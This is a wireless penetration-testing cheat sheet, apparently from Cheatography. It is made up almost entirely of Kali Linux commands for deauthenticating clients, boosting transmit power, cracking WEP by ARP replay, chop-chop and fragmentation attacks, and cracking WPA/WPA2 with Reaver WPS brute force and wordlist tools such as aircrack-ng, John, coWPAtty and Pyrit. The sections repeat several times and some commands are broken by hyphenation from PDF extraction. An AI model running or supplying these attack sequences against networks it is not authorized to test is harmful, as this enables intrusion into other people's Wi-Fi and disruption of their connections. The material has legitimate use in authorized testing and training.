

Wireless Penetration Testing Cheat Sheet

WIRELESS ANTENNA

Kill Monitor Processes

```
root@kali:~# airmon-ng check kill
```

Open the Monitor Mode

```
root@kali:~# ifconfig wlan0 down
```

```
root@kali:~# airmon-ng start wlan0
```

if you get an error with airmon-ng command, try this ;

```
# iwconfig wlan0 mode monitor
```

use wlan0 instead of mon0

```
root@kali:~# ifconfig wlan0 up
```

Increase Wi-Fi TX Power

```
root@kali:~# iw reg set B0
```

```
root@kali:~# iwconfig wlan0 txpower <Nm-W|NdBm|off|auto>
```

#txpower is 30 (generally)

#txpower is depends your country, please googling

```
root@kali:~# iwconfig
```

Change WiFi Channel

```
root@kali:~# iwconfig wlan0 channel <SetChannel(1-14)>
```

FIND HIDDEN SSID

```
root@kali:~# airmon-ng start wlan0
```

```
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> mon0
```

Wireless Penetration Testing Cheat Sheet (cont)

```
root@kali:~# aireplay-ng -0 20 -a <BSSID> -c <VictimMac> mon0
```

WEP CRACKING (via Client)

Method 1: ARP Request Replay Attack

```
root@kali:~# airmon-ng start wlan0
```

```
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
#What's my mac?
```

```
root@kali:~# macchanger --show mon0
```

```
root@kali:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <OurMac> mon0
```

```
root@kali:~# aircrack-ng -b <BSSID> <PCAP_of_FileName>
```

Method 2: Interactive Packet Replay Attack

```
root@kali:~# airmon-ng start wlan0
```

```
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
#What's my mac?
```

```
root@kali:~# macchanger --show mon0
```

```
root@kali:~# aireplay-ng -1 0 -a <BSSID> -h <OurMac> -e <ESSID> mon0
```

```
root@kali:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <OurMac> mon0
```

```
root@kali:~# aircrack-ng -b <BSSID> <PCAP_of_FileName>
```

Method 3: SKA (Shared Key Authentication)

Type Cracking

```
root@kali:~# airmon-ng start wlan0
```

```
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 10 -a <BSSID> -c <VictimMac> mon0
```

Wireless Penetration Testing Cheat Sheet (cont)

```
root@kali:~# aireplay-ng -1 0 -e <ESSID> -y <keystream file> -a <BSSID> -h <OurMac> mon0
```

```
root@kali:~# aireplay-ng -3 -b <BSSID> -h <FakedMac> mon0
```

```
root@kali:~# aireplay-ng -0 1 -a <BSSID> -h <FakedMac> mon0
```

```
root@kali:~# aircrack-ng <PCAP_of_FileName>
```

Wireless Penetration Testing Cheat Sheet

WEP CRACKING (Clientless)

Method 1: Chop Chop Attack

```
root@kali:~# airmon-ng start wlan0
```

```
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
#What's my mac?
```

```
root@kali:~# macchanger --show mon0
```

```
root@kali:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <OurMac> mon0
```

```
root@kali:~# aireplay-ng -4 -b <BSSID> -h <OurMac> mon0
```

#Press 'y' ;

```
root@kali:~# packetforge-ng -0 -a <BSID> -h <OurMac> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
```

```
root@kali:~# aireplay-ng -2 -r <FileName2> mon0
```

```
root@kali:~# aircrack-ng <PCAP_of_FileName>
```

Method 2: Fragmentation Attack

```
root@kali:~# airmon-ng start wlan0
```

```
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
#What's my mac?
```

```
root@kali:~# macchanger --show mon0
```



By **kennedykan**

Published 6th May, 2022.

Last updated 17th October, 2020.

Page 1 of 4.

Sponsored by **Readable.com**

Measure your website readability!

<https://readable.com>

Wireless Penetration Testing Cheat Sheet (cont)

```
root@kali:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <OurMac> mon0
root@kali:~# aireplay-ng -5 -b <BSSID> -h <OurMac> mon0
#Press 'y' ;
root@kali:~# packetforge-ng -0 -a <BSSID> -h <OurMac> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
root@kali:~# aireplay-ng -2 -r <FileName2> mon0
root@kali:~# aircrack-ng <PCAP_of_FileName>
```

WPA / WPA2 CRACKING

Method 1: WPS Attack

```
root@kali:~# airmon-ng start wlan0
root@kali:~# apt-get install reaver
root@kali:~# wash -i mon0
root@kali:~# reaver -i mon0 -b <BSSID> -vv -S
```

#or, Specific attack

```
root@kali:~# reaver -i mon0 -c <Channel> -b <BSSID> -p <PinCode> -vv -S
```

Method 2: Dictionary Attack

```
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# aircrack-ng -w <WordlistFile> -b <BSSID> <Handshaked_PCAP>
```

Method 3: Crack with John The Ripper

Wireless Penetration Testing Cheat Sheet (cont)

```
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# cd /pentest/passwords/john
root@kali:~# ./john --wordlist=<Wordlist> --rules --stdout|aircrack-ng -0 -e <ESSID> -w <PCAP_of_FileName>
#or
root@kali:~# aircrack-ng <FileName>.cap -J <outFile>
root@kali:~# hccap2john <outFile>.hccap ><JohnOutFile>
root@kali:~# john <JohnOutFile>
```

Method 4: Crack with coWPAtty

```
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# cowpatty -r <FileName> -f <Wordlist> -2 -s <SSID>
root@kali:~# genpmk -s <SSID> -f <Wordlist> -d <HashesFileName>
root@kali:~# cowpatty -r <PCAP_of_FileName> -d <HashesFileName> -2 -s <SSID>
```

Method 5: Crack with Pyrit

```
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# pyrit -r <PCAP_of_FileName> -b <BSSID> -i <Wordlist> attack_passthrough
root@kali:~# pyrit -i <Wordlist> import_passwords
root@kali:~# pyrit -e <ESSID> create_essid
root@kali:~# pyrit batch
root@kali:~# pyrit -r <PCAP_of_FileName> attack_db
```

Wireless Penetration Testing Cheat Sheet (cont)

Method 6: Precomputed WPA Keys Database Attack

```
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# kwrite ESSID.txt
root@kali:~# airolib-ng NEW_DB --import essid ESSID.txt
root@kali:~# airolib-ng NEW_DB --import passwd <DictionaryFile>
root@kali:~# airolib-ng NEW_DB --clean all
root@kali:~# airolib-ng NEW_DB --stats
root@kali:~# airolib-ng NEW_DB --batch
root@kali:~# airolib-ng NEW_DB --verify all
root@kali:~# aircrack-ng -r NEW_DB <Handshaked_PCAP>
```

Wireless Penetration Testing Cheat Sheet

WEP CRACKING (Clientless)

Method 1: Chop Chop Attack

```
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
#What's my mac?
root@kali:~# macchanger --show mon0
root@kali:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <OurMac> mon0
root@kali:~# aireplay-ng -4 -b <BSSID> -h <OurMac> mon0
#Press 'y' ;
```



By **kennedykan**

Published 6th May, 2022.

Last updated 17th October, 2020.

Page 2 of 4.

Sponsored by **Readable.com**

Measure your website readability!

<https://readable.com>

Wireless Penetration Testing Cheat Sheet (cont)

```
root@kali:~# packetforge-ng -0 -a <BS-
SID> -h <OurMac> -k <SourceIP> -l <Desti-
nationIP> -y <XOR_PacketFile> -w <FileN-
ame2>
root@kali:~# aireplay-ng -2 -r <FileName2>
mon0
root@kali:~# aircrack-ng <PCAP_of_Fil-
eName>
Method 2: Fragmentation Attack
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Chann-
el> --bssid <BSSID> -w <FileName> mon0
#What's my mac?
root@kali:~# macchanger --show mon0
root@kali:~# aireplay-ng -1 0 -e <ESSID> -
a <BSSID> -h <OurMac> mon0
root@kali:~# aireplay-ng -5 -b<BSSID> -h
< OurMac > mon0
#Press 'y' ;
root@kali:~# packetforge-ng -0 -a <BS-
SID> -h < OurMac > -k <SourceIP> -l <De-
stinationIP> -y <XOR_PacketFile> -w <Fi-
leName2>
root@kali:~# aireplay-ng -2 -r <FileName2>
mon0
root@kali:~# aircrack-ng <PCAP_of_Fil-
eName>
```

WPA / WPA2 CRACKING

Method 1: WPS Attack

```
root@kali:~# airmon-ng start wlan0
root@kali:~# apt-get install reaver
root@kali:~# wash -i mon0
root@kali:~# reaver -i mon0 -b <BSSID> -
vv -S
```

Wireless Penetration Testing Cheat Sheet (cont)

```
#or, Specific attack
root@kali:~# reaver -i mon0 -c <Channel>
-b <BSSID> -p <PinCode> -vv -S
Method 2: Dictionary Attack
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Chann-
el> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -
c <VictimMac> mon0
root@kali:~# aircrack-ng -w <WordlistFile>
-b <BSSID> <Handshaked_PCAP>
Method 3: Crack with John The Ripper
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --
bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -
c <VictimMac> mon0
root@kali:~# cd /pentest/passwords/john
root@kali:~# ./john --wordlist=<Wordlist> --
rules --stdout|aircrack-ng -0 -e <ESSID> -w
- <PCAP_of_FileName>
#or
root@kali:~# aircrack-ng <FileName>.cap -
J <outFile>
root@kali:~# hccap2john <outFile>.hccap >
<JohnOutFile>
root@kali:~# john <JohnOutFile>
Method 4: Crack with coWPAtty
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --
bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -
c <VictimMac> mon0
root@kali:~# cowpatty -r <FileName> -f
<Wordlist> -2 -s <SSID>
root@kali:~# genpmk -s <SSID> -f <Wo-
rdlist> -d <HashesFileName>
root@kali:~# cowpatty -r <PCAP_of_Fil-
eName> -d <HashesFileName> -2 -s <SS-
ID>
```

Wireless Penetration Testing Cheat Sheet (cont)

```
Method 5: Crack with Pyrit
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --
bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -
c <VictimMac> mon0
root@kali:~# pyrit -r<PCAP_of_FileName>
-b <BSSID> -i <Wordlist> attack_passt-
hrough
root@kali:~# pyrit -i <Wordlist> import_pa-
sswords
root@kali:~# pyrit -e <ESSID> create-
_essid
root@kali:~# pyrit batch
root@kali:~# pyrit -r <PCAP_of_FileName>
attack_db
Method 6: Precomputed WPA Keys
Database Attack
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Chann-
el> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -
c <VictimMac> mon0
root@kali:~# kwrite ESSID.txt
root@kali:~# airolib-ng NEW_DB --import
essid ESSID.txt
root@kali:~# airolib-ng NEW_DB --import
passwd <DictionaryFile>
root@kali:~# airolib-ng NEW_DB --clean all
root@kali:~# airolib-ng NEW_DB --stats
root@kali:~# airolib-ng NEW_DB --batch
root@kali:~# airolib-ng NEW_DB --verify all
root@kali:~# aircrack-ng -r NEW_DB <Ha-
ndshaked_PCAP>
```



By **kennedykan**

Published 6th May, 2022.
Last updated 17th October, 2020.
Page 3 of 4.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>

WPA/ WPA2 Cracking

```
Method 1: WPS Attack
root@kali:~# airmon-ng start wlan0
root@kali:~# apt-get install reaver
root@kali:~# wash -i mon0
root@kali:~# reaver -i mon0 -b <BSSID> -vv -S
#or, Specific attack
root@kali:~# reaver -i mon0 -c <Channel> -b <BSSID> -p <PinCode> -vv -S
Method 2: Dictionary Attack
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# aircrack-ng -w <WordlistFile> -b <BSSID> <Handshaked_PCAP>
Method 3: Crack with John The Ripper
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# cd /pentest/passwords/john
root@kali:~# ./john --wordlist=<Wordlist> --rules --stdout|aircrack-ng -0 -e <ESSID> -w - <PCAP_of_FileName>
#or
root@kali:~# aircrack-ng <FileName>.cap -J <outFile>
root@kali:~# hccap2john <outFile>.hccap ><JohnOutFile>
```

WPA/ WPA2 Cracking (cont)

```
root@kali:~# john <JohnOutFile>
Method 4: Crack with coWPAtty
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# cowpatty -r <FileName> -f <Wordlist> -2 -s <SSID>
root@kali:~# genpmk -s <SSID> -f <Wordlist> -d <HashesFileName>
root@kali:~# cowpatty -r <PCAP_of_FileName> -d <HashesFileName> -2 -s <SSID>
Method 5: Crack with Pyrit
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# pyrit -r <PCAP_of_FileName> -b <BSSID> -i <Wordlist> attack_passthrough
root@kali:~# pyrit -i <Wordlist> import_passwords
root@kali:~# pyrit -e <ESSID> create_essid
root@kali:~# pyrit batch
root@kali:~# pyrit -r <PCAP_of_FileName> attack_db
Method 6: Precomputed WPA Keys Database Attack
root@kali:~# airmon-ng start wlan0
root@kali:~# airodump-ng -c <AP_Channel> --bssid <BSSID> -w <FileName> mon0
root@kali:~# aireplay-ng -0 1 -a <BSSID> -c <VictimMac> mon0
root@kali:~# kwrite ESSID.txt
```

WPA/ WPA2 Cracking (cont)

```
root@kali:~# airolib-ng NEW_DB --import essid ESSID.txt
root@kali:~# airolib-ng NEW_DB --import passwd <DictionaryFile>
root@kali:~# airolib-ng NEW_DB --clean all
root@kali:~# airolib-ng NEW_DB --stats
root@kali:~# airolib-ng NEW_DB --batch
root@kali:~# airolib-ng NEW_DB --verify all
root@kali:~# aircrack-ng -r NEW_DB <Handshaked_PCAP>
```



By **kennedykan**

cheatography.com/kennedykan/

Published 6th May, 2022.

Last updated 17th October, 2020.

Page 4 of 4.

Sponsored by **Readable.com**

Measure your website readability!

<https://readable.com>